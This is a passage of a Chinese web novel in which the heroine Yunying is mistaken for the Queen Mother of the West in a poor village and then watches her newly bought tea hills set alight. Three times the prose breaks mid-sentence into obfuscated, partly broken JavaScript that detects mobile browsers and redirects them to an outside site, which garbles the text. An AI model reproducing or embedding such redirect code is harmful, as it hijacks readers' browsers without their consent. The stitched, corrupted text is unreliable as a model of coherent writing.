“不是不想回啊二爷,是根本回不了。我也是去一次,总要把事情都摸透了再回来。若不然只是去走个过场,既浪费精力又浪费体力,我图什么啊?” “那你想出去几天?” “五,不,三天三天,三天内我保证回来!” 看到二爷脸都黑了,云莺赶 紧把那个“五”字咽了回去。 三天就三天吧,来回路程算一天,她还有两天可以视察茶山,对她来说时间虽然不充裕,但大概也够用了。 二爷到底是应了下来,云莺得了允许,一刻不停留,回了房间就收拾行礼,翌日一早带着穗儿与柳儿直接出门乘车。 熟料就在县衙门口,又碰到了等在这里的二爷。 云莺心中有了不好的预感,“您不会也要跟我们过去吧?” “我没那么闲。”二爷冷睨了她一眼。随即说,“你自己出门我不放心,让随云与你一起去。真遇上什么事儿,随云也可以解决。” 云莺想说不用了吧,那是穗儿家附近,即便遇上了事儿,想必穗儿的家人出面也能解决? 但想想穗儿家只有一对老实巴交的父母,以及年迈的祖父母,弟妹也还小当不了大用,而这乡间的百姓,虽然多是些淳朴的人,但其中也免不了几个渣滓。 若是他们打了坏主意,而他们三个女人又都是手无缚鸡之力之人…… 云莺果断点了头,“那就要劳烦随云跟我们走一趟了。” 随云微颔首,“不麻烦。” 二爷依旧要去后塘村,这与云莺今天要去的西王母娘娘村分居云归县的东西两端,是以,两人在县衙门口就分别了。 马车一路往西走,走了许久许久,直走到日头中天,他们还没走到西王母娘娘村。 天气过热,加上路途颠簸难行,云莺诸人不得不停下来避避暑歇一歇,用了些点心解决下生理问题,随即又继续上路。 马车再次启程,云莺问穗儿,“这里距离你家还有多远?” “不远了姑娘,顶多也就还有七八里路。” 柳儿说,“那加上咱们今天上午走的三十多里,加起来要有四十里路了。” 穗儿说,“差不多吧。” “你从县衙回家,大概用多长时间?”云莺好奇的问。 “那时间可长了,我一般天亮时出城,等我到了家,天都黑透了。不过我没什么钱,回家也都是步行,慢点也就慢点。” 云莺又问,“你家有几口人,家中有多少田?” 穗儿又说,家中有祖父母和父母,以及一对弟妹。她最大么,家里实在过不去了,只能卖了她。至于田地,家中也不多,总共也就三亩左右。但二爷今年年初下令开荒,她家里也开了两亩荒地出来,所以家中总共有五亩田。 几人说着闲话,时间似乎没那么难熬了,马车似乎也没那么颠簸了。 果然,又走了七、八里路,前边真就出现了一个村子。 不大的一个村子,算上住在半山腰的人家,总共也没有五十户。 再看那房屋,也都破败的很。放眼望去清一色的茅草屋,还都灰扑扑的。 马车七拐八拐,终于在一处茅草屋前停了下来。 马车刚停稳,穗儿就从马车上跳了下来,冲院子里喊道,“爹,娘,我回来了。” 她又伸出手去接云莺下来,“半下午的,我家里不一定有人。这时候,我爹娘和祖父母大多在地里除草。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616635|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我弟弟妹妹有可能跟去田里了,也有可能去山上捡柴了。” 云莺闻言微颔首,随后朝面前的小院看去。 不大的一个院子,盖着三间茅草屋。茅草屋上的茅草应该是新换的,这使这茅草屋看起来还算干净整洁。另外,院子也收拾的很利落,杂草清理的干干净净,院子里的柴草堆成草垛,院子里还拉着一根绳,上边晾晒了两件补满了窟窿的衣裳。 也就时此时,正中一间茅草屋的房门从里拉开,随即走出一个头发花白,满脸皱纹,颤颤巍巍的老太太来。 “是穗儿回来了么?” 老太太拄着拐,走路歪歪扭扭,看着随时要倒。 穗儿见状,也顾不得云莺了,三两步跑上前,赶紧将老太太扶住。 “婆婆,您的腿怎么了?是摔伤了么?您怎么也不让人去告诉我一声,我都不知道您受伤了。” 老太太见穗儿眼泪都出来了,赶紧给她抹泪,“就是去山上拾蘑菇的时候摔了一跤。也是命大,没死成,让人给抬回家了。” “婆婆不要胡说,您才不会死,您要长命百岁。” “唉,唉,长命百岁。好了穗儿快别哭了,这几位贵人是……” 穗儿这才想起云莺几人来,她忙不迭擦干净脸上得泪,开口给几人介绍。 然后,老太太就知道,中间那个穿着一身青色衣裙,但美的跟天上的神仙的姑娘,就是自家这丫头伺候的管事姑姑。 而那位仪表堂堂,腰间配剑,仪容修伟的男子,乃是县太爷身边的侍卫。 先不说县太爷身边的侍卫,只说那位容貌出众的姑娘,怎么看着有点眼熟呢? 老太太动脑袋使劲想,可惜年纪大了,脑袋也不中用了,她想来想去也想不出来这姑娘到底像谁。 但她看见这姑娘,就想跪下给她磕个头,这种本能她控制不住。 老太太当下腿脚一软,整个人开始往下滑,眼瞅着就要跪倒地上。 穗儿却不知道,这是老太太想跪下磕头,她还以为是婆婆腿脚支撑不住了,就赶紧扶稳了 婆婆。 也好在穗儿从小做惯了活计,身上自有一把子力气,加上柳儿赶紧过去帮忙,这才将老太太扶稳当,搀扶到屋里去。 等老太太进了屋,柳儿走出来,云莺才让柳儿拿了带给穗儿家的礼,一道进去见了老太太。 老太太那会收云莺的礼? 她一个劲儿的念叨着“使不得,使不得”,要让云莺将东西拿回去。 云莺却说,“之后还要在您家叨扰几日,您不收我们的礼,我们却不好在您家留宿了。” “要,要在我家住啊……” 老太太一惊,又要起身去给他们收拾房间。 她自然被穗儿摁住了。 穗儿以为是婆婆胆小,经不住事儿,她就求助似的看向云莺,让姑娘别见怪。 云莺如何会见怪? 老人家只是胆子小些,又没做过什么伤天害理的事儿,她怪罪老太太做什么? 不过鉴于老太太在她跟前不自在的厉害,云莺只能带着柳儿往院子里去。 穗儿安顿好婆婆后,也出来了,将桌子凳子全都搬到院子里,又忙活活的要给云莺烧水沏茶。 云莺算是看出来了,她心血来潮要来穗儿家借住,给穗儿家带来大麻烦了。 可惜来时没想到这点,如今再回去也有些不妥。 再来,这个点了,去茶山也来不及。 云莺干脆就带着柳儿与随云出去,说是想看看村子里的景色。 她把时间留给穗儿,让穗儿收拾房间,准备饭菜…… 几人出了门,穗儿果然脚不沾地的忙了起来。 先是把姐妹俩的房间腾出来,清理打扫一遍,然后将他们带来的行李铺上去。 来时穗儿已经想好了,今晚让姑娘睡她们姐妹的房间,她和柳儿打地铺,妹妹去和父母睡。 至于随云与车夫,可以借住到邻居家。不过眼下天正热,即便幕天席地住在外边也使得。 只是将就两、三个晚上罢了,想来不管是随云还是车夫,都能体谅的。 第104章 我真不是! 云莺在村子里走了一圈,觉得时间消磨的差不多了,才带着柳儿和随云回了穗儿家。 她不知道,她在外边走动时,村子里来了贵人的消息,早就传到了村子里每一户人家的耳中。 穗儿家所在的村落为西王母娘娘村,顾名思义,这个村子的人都供奉西王母娘娘。 村子里的小孩儿见到这貌美的,好似王母娘娘的姑娘,还以为是西王母娘娘下凡了。 小孩子激动的赶紧跑到田里去喊人,于是,正在田里劳作的几乎整个村子的人,全都回来了。 云莺回穗儿家时,就察觉路上的人变多了,那些人看到她后,还都停下脚步一直瞅着她。 但云莺也没在意,毕竟她的容貌确实挺出众的。 况且村子里贸然来了几个陌生人,会被村民盯着看也正常。在前塘村和后塘村,她都经历过这样的事情,早就见怪不怪了。 只是云莺心里也忍不住念叨,说这村子的人挺佛的,竟然这么早就下工了。她以前随二爷去后塘村,那边的百姓可卷了,天不黑绝对不回家吃饭。 也是进了穗儿家后,穗儿把云莺拽到一边,说了这个误会,云莺才知道,不怪这边的人一直盯着她看,也不怪这边的人佛系,这么早就下工,是他们把她认作下凡的西王母娘娘,闻讯后就加足马力从田里跑了回来,为的就是见她一面。 云莺当时那个尴尬啊。 她都能感觉到,自己的血液直冲天灵盖,她头脑嗡一声响,只想现在就晕倒过去。 偏偏不远处的随云和柳儿,丝毫没察觉到云莺的窘迫。 随云闷笑的将头扭到一侧,柳儿则一脸荣光,满脸就写了几个大字:是的,我们家姑娘长得可出色了,真就跟西王母娘娘差不多! 云莺闭了闭眼,又看向其他地方。 然后就发现,不管是穗儿的父母,还是她的弟妹,此时都若有似无的看着她。 察觉到她的视线扫视过去,他们赶紧转开头。当她的视线移开,他们又会马上看过来。 云莺又看向了院子外,呵,真是不看不知道,一看吓一跳。 原来就在穗儿与云莺说话的时候,村里的百姓悄悄的围了过来。如今他们就趴在院子的篱笆上,眼都不眨的看着云莺。 云莺整个人都麻了。 “大家都误会了,我只是县衙的一个小管事,不是什么,什么西王母娘娘。” “你是,你就是!” 说这话的竟是穗儿的婆婆。 老人家拄着拐杖,被另一位头发花白、满脸褶皱、腰身弯成一张弓的老汉扶出来。 老汉一张嘴不停地说,“你慢着点,慢着点,你这骨头才接好,大夫说你不能下地走路的。” 穗儿的爹也被骇了一跳,赶紧走上前将老太太抱到凳子上坐。 穗儿爹还说,“您要出来也喊我一声,我把您抱出来,您自己走路再让骨头错位了,可如何是好?” 老太太却全然不管穗儿爹,还嫌他烦似的,一把将穗儿爹推到一边去。 她看着云莺,此刻哪还有刚才的胆小怯生,却是激动的不得了。 “姑娘啊,你即便不是西王母娘娘,也指定是西王母娘娘的转世投胎。我这双眼睛可利的很,我再是不会看错了。” 云莺:“不!我真不是,您误……” “好姑娘,你真的是!你刚才出去,没去我们村头的庙里看过吧?我们村头庙里可供着西王母娘娘呢,你这张脸啊,和西王母娘娘长得真是一模一样。” 老太太如此一说,登时传来“哄”一声响。 那些围观的百姓都七嘴八舌的说起来了。 “还真就是和娘娘的容貌一模一样。” “这是娘娘转世投胎来了吧?” “简直了!我刚才还以为我家小子哄我的,原来竟是真的。” “怪不得我瞅着这姑娘一身神性,原来真是天上的娘娘下凡来了。” 百姓们如此说且罢了,就连穗儿,她回忆了一下村头庙里的西王母娘娘,顿时也惊疑不定的看着云莺,“姑娘,您这长相,和我们村头庙里的西王母娘娘真有几分像。姑娘,您和我说实话,您上辈子真是天上的神仙,这辈子是下凡来渡劫了对不对?” 穗儿的婆婆敲着拐杖说,“肯定就是这么回事儿!” 穗儿娘说:“哎呦不得了了,西王母娘娘来我家了!” 百姓更哗然了,挤挤挨挨的拥进穗儿家,纳头就拜。 就连穗儿那伤了腿的婆婆,以及腰身躬成一张弓的公公,也迫不及待的跪下磕头,还念叨着,让西王母娘娘保佑他们身体康健,庄稼年年丰收。 云莺:“……”她整个人都傻了! 最后这一场闹剧是如何结束的,云莺都不知道。 等她回过神时,她身边只剩下一个柳儿。她和柳儿现在就在穗儿姐妹俩的房间中。 再往外看,随云跟个煞神一样挡在门口,将过于热情的百姓挡在门外。 而穗儿则焦头烂额的说着好话,哄着那些村民快些回家。 这一个村子,百姓不多,但都沾亲带故。 那些百姓大多是穗儿的长辈,穗儿不敢说 重话,只能好言相劝着他们快些回家做饭。 那些百姓却不理会这些,只一把抓住穗儿的手,满脸激动感慨的说:“咱们村子里,就属你个女娃娃最有出息。” “可不是么。原本我们觉得,你爹娘把你卖了,是作践人。你这丫头也是命苦,从此就不是良民了。” “却哪里能想到,你这丫头运道这么好。竟然被挑去了县衙伺候贵人了,那贵人还是咱们村的西王母娘娘。” “缘分!都是缘分啊!” “娘娘说她不是神仙,那指定不能够。肯定是她下凡时忘了上辈子的事儿,记不清自己的身份了。不过没妨碍,咱们知道她是娘娘就性。” “是是是,哎呀,我突然想起来,咱们还没给娘娘准备供奉……” 一句“供奉”拉开了新的大门,刚才还依依不舍的百姓,顿时一哄而散。 大家伙谁比谁跑的快,这个说,自家还有块腊肉,马上做了给娘娘送来;那个说,她家小子刚摸了一条大鱼,足有三斤重,她给红烧了!还有的说,她家的鸡下了几个双黄蛋,她原本准备卖了换钱,现在要回家做了给娘娘端来…… 云莺听着这些话,心跳更不稳当了。 她是人!真的是人! 上辈子的事情她记得,她上辈子就是个没毕业的研究生! 她不是神仙,真的不是什么神仙!更不是天上的西王母娘娘! 但是这些呐喊只能憋在胸腹间,因为没有人会听的,更没有人会相信! 再看看院子外,外人都走干净了,可穗儿的父母和祖父母却都忙碌起来了。 一家子人都进了灶房,将个不大的灶房挤的转不过身来。 穗儿的娘说,“婆婆,你做的糯米饭最香甜,往年你给娘娘供奉,也都会送上一碗糯米饭,咱们今天还做糯米饭。指不定等娘娘吃到熟悉的香火,就能想起我们了。” 穗儿的婆婆连连应是,老太太忙得颠颠的,腿脚似乎都利索了不少。 云莺:“……”更想晕过去了。 云莺冲门外的随云招招手,让他先进来。 随云是不好进来的,毕竟要避嫌。但事急从权,他也就憋着笑进来了。 云莺自然没有错过随云眸中的笑意,其实不止是随云,就连柳儿,此时也龇着大牙,笑的跟个二傻子似的。 当然,云莺觉得自己比他们还不如!她现在连二傻子都当不成!二傻子好歹是人,可她得当神! 云莺小声说,“我们一会儿趁人不备就回县衙,你让车夫悄悄把马车准备好。” 随云含着笑意说,“姑娘确定要走么?” “那不然呢?继续呆在这里被人供奉么?我可不想明天睡一觉起来,我就不在穗儿家了,而是跑到了村头庙里的佛龛上。” 似乎是云莺的描述太过生动搞笑了,随云与柳儿俱都“噗呲”“噗嗤”笑了出来。 笑过后,随云在云莺的殷殷瞩目下,摇摇头说,“姑娘,我觉得您还是安心在这边住两天。您今晚想回城,哪怕是不可能。” “为什么?” 随云笑着指指外边,“不是我骗你,是我太了解这些百姓了。他们今晚指定在外边守着你,指不定还要点上些香烛纸钱……” “别说了,你快别说了,我头疼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616636|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 随云又笑了,“所以,云莺姑娘,你还是先安稳的在这儿住下吧。反正也是跑一趟,总不能空手而归。咱们还按原来的计划行事,只当今天这事儿是个笑话,笑一笑过去就成。” 云莺翻个白眼。 话说的好听。 要是换你当这个笑话,就不信你还能说出这风凉话! 随云又笑了,拱拱手走出门去。 这一晚云莺几人果真没走成,就像随云说的那样,晚间果真有许多百姓点着香烛,在穗儿家门外求神拜佛起来。 他们还念着祝词,那声音嗡嗡嗡的,比山里的蚊子更闹腾。 云莺换了新地方本就睡不好,再加上外边的动静大,她更没有睡意了。 云莺从床上起来,趿拉上鞋子走到门前。 穗儿和柳儿也没睡着,两人察觉到云莺的动静,也跟着站起身。 “姑娘,您要起夜么?” 云莺摇摇头,很是深沉的问了一句话,“我都是神仙了,难道还要五谷轮回?” 穗儿和柳儿没明白这话什么意思,反倒是守在门外的随云,又忍俊不禁“噗嗤”笑出了声。 穗儿和柳儿后知后觉想起,五谷轮回是个什么梗,一时间两人也忍不住笑了,俱都觉得云莺促狭的可爱。 云莺一点不觉得自己可爱,她只觉得自己可怜。 隔着一道门,云莺问随云,“我想去村头庙里,看一看那西王母娘娘到底长什么模样,你能带我去么?” “怕是去不了。”随云压低声音说,“外边的人太多了。且我听他们的话音,今天几乎整个村子的人都没休息。一部分就在门外,一部分人在西王母娘娘庙里。大家都还清醒着,您想现在过去一趟,再引起大家围观么?” 云莺忙摇头,“那还是不要了。” 随云又说,“不过我刚才趁着人少,倒是去西王母娘 娘庙里看了看。” “你看到什么了?” 随云轻“咳”一声,“不怪大家把你认作西王母娘娘,你的眉眼,与那佛龛上的西王母,确实有几分像。” 容貌上的肖似只在两三分,最重要的是那身形与神色,真的有七八成像。 要说这西王母娘娘村,当真穷困的很。最起码就他们今天所见的百姓,每个人的衣裳上,都有大大小小的补丁。 百姓脸上的苦色,与他们倦怠的精气神是瞒不过人的,从这些都可以看出来,这里人的生活,当真非常非常穷苦。 可如此穷苦的一个地方,他们村头的寺庙竟是用青砖盖的。不大的一个寺庙里,里边供奉的西王母娘娘的神像,更是被打理的干净整洁。 娘娘身上的漆块没有脱落,身上的披风颜色鲜艳,娘娘的双目被仔细描摹过,其中流露出神性的慈悲。 但娘娘的面容却是清冷的,就如同其余那些高高在上的神仙一样。 而云莺素来在外的表现,也是清清冷冷,就如同一个不食人间烟火的神女。 这可不就对上了么? 随云低声说着他看来的东西,末了忍不住调侃一句,“指不定姑娘上一辈子,真是天上的神仙!” 云莺在屋里翻了一个大大大白眼,继而颓丧的一屁股坐在床上,“这下彻底解释不清了。” 穗儿一脸,怎么还用解释,姑娘就是娘娘下凡啊的表情。 而柳儿,柳儿是旁观者,倒是不觉得云莺是什么下凡的神仙。 但这事情真挺搞笑的。 她笑的停不下来。 许久后,柳儿终于忍住笑,走到云莺跟前。 “姑娘,您往好了想。大家都把您当神仙,那以后您那茶山雇人干活,是不是就方便多了?” 毕竟那茶山之前是常顺的,常顺的乡性不好,在百姓中间的名声更是差到极点。 因为常顺这一出,之后想找人去茶山上做工,都不好找。 如今就不同了“不仅雇人方便许多,还免费多出了许多监工。怕是之后都不用您再出面,单是这西王母娘娘村的百姓,就能把那茶山给您照应的妥妥当当的。” 话是这么说,但是…… 云莺叹了好长一口气,“但是,我还是不想做什么娘娘。我还是想把事情尽快解释清楚啊。” 第105章 放火烧山 这一夜就在混乱中过去了。 翌日天还没亮,云莺几人就出了门,准备去看一看新买来的茶山怎么样。 这个时间点,原本守在门口的百姓都鱼贯离去了。 但还是有零星几个格外虔诚的,依旧在门外念经祈祝。 不说外边的人,只说穗儿这一家子,就没睡死。云莺这边的门一响,那几个屋子的人也都出来了。 穗儿娘说,“姑娘要出去么?” 云莺点点头,说了句,“婶子,我们要去我买的茶山看一看。” “那姑娘稍等一下,我给姑娘做点吃的,姑娘用过再走。” 云莺抬头看看天上的月亮,此时月亮还在西边挂着。这个时辰,充其量也就四更左右。 四更天就让人家起床给她做饭,云莺过意不去。 但这十里八村也没个卖吃食的地方,他们即便不在穗儿家吃,也得在其余乡亲家用饭。左右都是麻烦,那就尽量只麻烦穗儿家,到时候多给他们些补偿好了。 穗儿娘见云莺没反对,赶紧去灶房做饭去了。 穗儿爹给挑了清凉的溪水来,穗儿的祖父新劈了柴火。至于穗儿那对弟妹,弟弟拿着扫把扫院子,妹妹则跑去鸡窝摸鸡蛋。 一家子人忙这忙那,反衬得云莺几个人,跟什么都不会做的白痴似的。 云莺给穗儿与柳儿使眼色,两个丫头将房门掩上,赶紧去灶房帮忙了。 饭菜很快就做好了,就是普通饼子配些稀饭。 这饭菜许是寒酸了,与昨天村里百姓拿来的大鱼大肉自然也没法比,但这却是穗儿家能拿出来的最好的东西了。 尤其她面前还放着一碗金黄金黄的蒸蛋,这可是连穗儿的祖父母,以及她年仅五岁的妹妹都没有的待遇。 那蒸蛋云莺自然没有吃,她将装了蒸蛋的碗放在穗儿婆婆面前,“您受伤了,该吃些好的养一养,这样恢复的才快。” 说完这句话,云莺就放下了筷子,起了身。 她在这边用膳,一家人都不自在。好在她吃完了,那就尽快出发。 走到门口,那些留守的百姓,见云莺一行人坐上马车要走,赶紧就过来拦。 随云当即冷了脸,往马车前一站,当即将众人吓了回去。 云莺知道这些百姓没坏心,她也怕随云吓坏了人,赶紧出面解释说,“我真不是大家口中的西王母娘娘,我也不是下凡来渡劫的。我就是个普通的姑娘家,在县衙做活,如今又买了常顺的茶山。我现在要去看看茶山的情况,劳烦大家让一让路吧。” 百姓们你看我、我看你,全然不将云莺那些否认自己是西王母娘娘的话听到心里。但云莺说她买了常顺的茶山,如今要去视察茶山的情况,百姓们倒是把这句话听到心里去了。 就有那上了年纪的婆婆说,“常顺不是个好东西,他那茶山倒还不错。” “那茶山能赚钱,以后给姑娘赚大钱。” “哎呀,我前几天去那边走亲戚,还听谁说,说是那些被常顺坑来做工的人家,把那些茶树毁了不少,听说还要一把火把茶山烧了呢。” 烧茶山? 云莺闻言心一跳,她再不敢耽搁,给随云使了个眼色,就准备赶往茶山去。 西王母娘娘村的百姓看见云莺着急,他们也急上了。 那些茶山如今可是云莺的,是他们西王母娘娘的,被糟蹋了他们要心疼的滴血的。 就有那百姓说,“姑娘快别坐车了,我们带你走小路过去。要爬山的,马车不通行。” “对对对,走小路过去。走大路太耽搁时间了,指不定等你们过去,茶树都让人刨了,茶山都让人烧了。” 云莺闻言,当即从马车上下来,与随云几人一起,跟在为首一个带路的大叔后边,一道往茶山跑去。 茶山所在的位置在屋头山。 听说以前叫五头山。 正是因为那五座种了茶树的山而得名。 后来村里出了个读书人,读书人说,山那里有论“头”的?都是几座山几座山,说几头山,显得他们村里的人没水平。 可再贸然改名,又怕别人不知道说的是那里。因而,就只把五头山,改做了屋头山。 常顺家就在屋头山,而据说风水很好的那五座山峰,被他买下后开荒种上了茶树,成了茶山。 给云莺几人带路的大叔,显然对这十里八乡的事情都很清楚。 他一边领着众人往前走,一边又说,常顺出事后,他那媳妇卷了家里的银子,与村里一个无赖跑了。 至于子嗣……许是作孽太多了,常顺与他媳妇努力了许多年,也没留下个一男半女。 常顺不是个好货,除了他媳妇外,还和十里八村好些寡妇亦或者年轻姑娘有牵连,但可能是老天爷也觉得他这个人太恶毒了,始终没让他留个后。 这大叔还说了一个趣事,说是常顺其中一个姘头怀孕了,看过大夫说,肚子里那个可能是个带把的。 常顺狂喜,那段时间把那姘头宠的要星星不给月亮的。听说还给买了首饰头面,还给那姘头家盖了青砖瓦房,帮她两个弟弟娶了媳妇成了家。 结果千盼万盼,终于 盼的那姘头生产,果真是个男孩儿。但是,那男孩儿长到三岁,越看和常顺越不像,反倒和那姘头的邻居像了十成十。 也就是说,常顺当了回活王八,白替人家养了三年儿子。 大叔说到这里,陡然意识到,这话题太污秽了,可别脏了西王母娘娘的耳朵。 但都已经说完了,此时再后悔,也晚了。 这带路的大叔陷入了懊恼中,忍不住用手往自己脑壳上拍了两下,轻声骂了一句:“你个蠢驴!” 云莺没注意到这些,因为她已经气喘吁吁,全靠穗儿和柳儿两人拉扯着,才没有掉队。 云莺以前没觉得自己体力有多差,毕竟以前跟着二爷跑前塘村、后塘村,跑一天她也没感觉多累。 可这次爬山,她却累的双腿直发抖。 可能也是太着急赶路了,几人的速度非常快,这远远超过了云莺可以承受的程度。亦或者是,昨晚上没睡好,早膳又没吃饱,她的身体不给力,于是她就开始拖后腿。 其实一开始也还好。 一开始有这大叔说的闲话分散注意力,云莺走的挺轻松,完全不带掉队的。可渐渐地,腿越来越沉,她就是想赶上去,也有心无力了。 好在随云注意到了这情况,他就问,“我背你过去可好?” 云莺想都没想就摇头,“不用,不用,我还能坚持。” “你别逞强,实在撑不住,咱们歇歇也行。不然把你累坏了,回头二爷饶不了我。” 二爷…… 云莺忍不住想,若刚才开口的是二爷,她会拒绝让二爷背她么? 应该不会吧! 云莺拍拍自己的脸,问带路的大叔,“距离茶山还有多远?” “快了、快了,马上就到了。这次真不骗你们,顶多再走一盏茶的功夫就到了。” 云莺想了想,“那我们歇歇再赶路?” 大叔说,“姑娘最好别歇,现在天气凉爽,赶路还没多辛苦。等一会儿太阳出来,您再赶路就要受老罪了。” 云莺咬牙,“那就不歇,咱们继续走吧。” 随云说,“如果你实在撑不住,我就背你。” “没事儿,我坚持坚持。只要不走太快,我应该没大问题。” 果然,之后的速度就慢了下来。但真如大叔说的,走了一盏茶功夫,真就到了屋头村。 这个时候,百姓大多用完了早饭,去田里干活了。村子里只有些老的不能动的老人坐在树下乘凉,亦或是看着自己的小孙孙说闲话。 看见他们几个生人,众人都惊讶的看过来。等得知云莺买了常顺的茶山,这次来是要视察茶山的情况的,几位老人的神色登时就不对劲了。 大叔好一番打听,那几位婆婆才支支吾吾的说,“已经毁了半座山了。” “那遭瘟的畜生把人家的媳妇孩子都拐卖了,人家苦主过来把他家打砸一通,还把茶山祸害了不少。” “说是要烧山呢,这要不是村里的耆老,担心茶山着起来把风水坏了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616637|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支死命拦着,不定现在那山上的茶树都被烧完了。” “我刚才还见那户人家又来闹了。哎呦,你们快过去看看吧,可别真让人把茶山烧了。” 云莺几人闻言,当即顾不上歇息,顺着几人的指点,赶紧往那茶山处去。 距离茶山尚且有段距离,就听有人大声吼,“他常顺把我媳妇拐卖了,我就把他的命根子给他毁了。” 另一道年迈的老者倒是心平气和的规劝,“你魔怔了吧,你那媳妇是跟人跑了的,可不是常顺拐卖了的。” “放你娘的狗屁!我媳妇那般守妇道的人,哪里会跑?指定是有人看我媳妇不顺眼,故意放出谣言毁我媳妇清誉。我媳妇指定是被常顺卖了,此仇我和常顺不共戴天。” “那你去牢里找他报仇去。常顺现在还在牢里关着,你打死他,再给他偿命!” 发疯的男人似乎被噎住了,又说,“总归,他常顺要赔偿我。” “县太爷不是已经给你发了赔偿金了?听说赔了你几十两银子。我还听说你把你得了天花早死的妹子,溺水淹死的侄儿,都归罪到常顺头上了。县衙为此还多赔了你不少钱。你已经赚够了,该知足了。” “总之,总之我不管。他常顺割了我的心头肉,我也要割他心头肉。” 老者没了耐心,“你就说,你到底想要什么。” “我也不要什么,我就要这茶山。我也不多要,只要分给我两座就行!” 围观的人哄然大笑,俱都嘲笑男人痴人说梦。 那老者更是没好气的说,“这茶山是常顺的财产,已经被收归公有了。县衙要卖了这茶山,给苦主们发钱。听说已经卖出去了。如今这茶山和常顺可没有一丝一毫的关系了,你想要茶山,你想屁吃。” “不给我茶山,我就放火烧山!我要坏你们的风水,让你们这些与常顺一道作恶的人,辈辈穷、辈辈惨,死了都没法去地下给老祖宗交代。” 男人说着话,真就冲到了茶山上。 也不知道他是不是早就有所打算,就见他从怀中拿出一个浸了猪油的木棒来。 火折子点燃,木棒瞬间燃出熊熊 大火,那男人往柴草枯枝上一挥,瞬间就是一片火焰缭绕。 山下的人先还没在意,等注意到起火了,一个个惊叫着往远处跑。 等云莺几人过来时,就见那火已经不小了,眼见着要成燎原之势。 原本不应该燃烧这么快的,可因为常顺被关押到县衙,这边茶山没人打理,这些时日天气又热的厉害,且还一直没有下雨。 柴草都干的一掰就断,这些茶树更是枯死了好多。如今遇到火星,可不就瞬间燃烧起来了? 云莺看到那熊熊的火焰,顿时心都凉了。 她的茶山! 她的聚宝盆! 原本她还想凭借茶山翻身,如今看来,连老天爷都不想让她赚这比钱。 云莺愣神的时候,随云已经冲了出去。 他喊了句“快救火!” 于是,之前四散跑开的百姓,又都咬着牙跑了回来。 这五座山可是风水宝地,当初被人捷足先登买下这几座山,他们就觉得愧对老祖宗了。若是再让山被烧了,这风水得彻底坏了。 随云一马当先,提了山脚的水桶,冲到一旁的溪流里灌满水回来。其余人见状,也都赶紧打水扑火。 可惜,太慢了!而火势也太大了! 那几桶水对于熊熊燃烧的大火来说,真就是杯水车薪。 随云见这个办法不见效,直接跑到两座山中间,想弄起隔离带阻止火势蔓延。 但是,浓浓的黑烟席卷过来,熏的人眼睛都睁不开。浓烟吸进肺腑里,更是呛的人直咳嗽。 云莺见状,声嘶力竭的喊,“随云,快回来,危险!” 随云却置之不理。 若是他这厢罢了手,这几座山的茶树肯定要被烧光。 茶树烧光是小事,可不远处就是很大一座山岭。 山岭的面积很大,绵延足有几十里地。这若是让大火蔓延过去,事情就彻底闹大了。 第106章 及时雨 云莺顺着随云的视线,也看到了不远处郁郁葱葱的山岭。 当时,她的心都凉了。 这可不是现代。 现代重庆819火灾,当初投入了多少的人力物力财力,可即便如此,火灾也花了一个星期才得以扑灭。 遥想同一年发生在澳大利亚的山火,当时足足用了六个月,火势才控制住。 那可是现代社会! 是有直升机,有干冰,有灭火器的现代社会。更是可以在短时间聚集许许多多的有生力量。 可这是古代,是地广人稀的岭南府治下! 这里没有干冰,没有灭火器,就连人都没有多少! 这山火要是烧起来,怕不得把所有东西都烧干烧净了,才能彻底停下来。 云莺浑身发抖,瞳孔不住的收缩。 她在想究竟要如何做,才能让火熄灭。 但是,没有办法! 她没有办法! 从没有这一刻,让云莺感觉自己是这么的无力! 她无力到甚至开始痛恨自己! 若是她真有法术就好了,若是她真是那西王母娘娘就好了。 那她就可以用她的大神通,让这滔天火焰覆灭在顷刻之间。 可是,她不是! 她不会! “轰隆!” “轰隆!” “轰隆!” 接连三声巨响在耳边炸开。 云莺近乎麻木的,回头看向不住拉扯她的穗儿。 “穗儿,是山崩了么?” “没有山崩!姑娘,打雷了姑娘!要下大雨了啊姑娘!” “下雨?” 云莺的瞳孔逐渐收缩,忍不住看向头顶的天空。 天空逐渐阴沉下来,之前露出一点头的太阳,不知何时又躲到云层后边。 黑压压一层乌云片刻就在头顶布满了,那浓云一层又一层,在天空涌动着、翻滚着,给人末日到来的既视感。 这天气,怕不是要轰轰烈烈的下一场有史以来最大的雨。 再看周围的人,此刻全都静止下来。 他们也仰望着天空,嘴中喃喃的说,“老天爷保佑!” “老天爷开眼了啊!” “是要下雨了吧?我们的屋头山保住了。” 云莺又看向随云,随云面上的凝重逐渐散去。 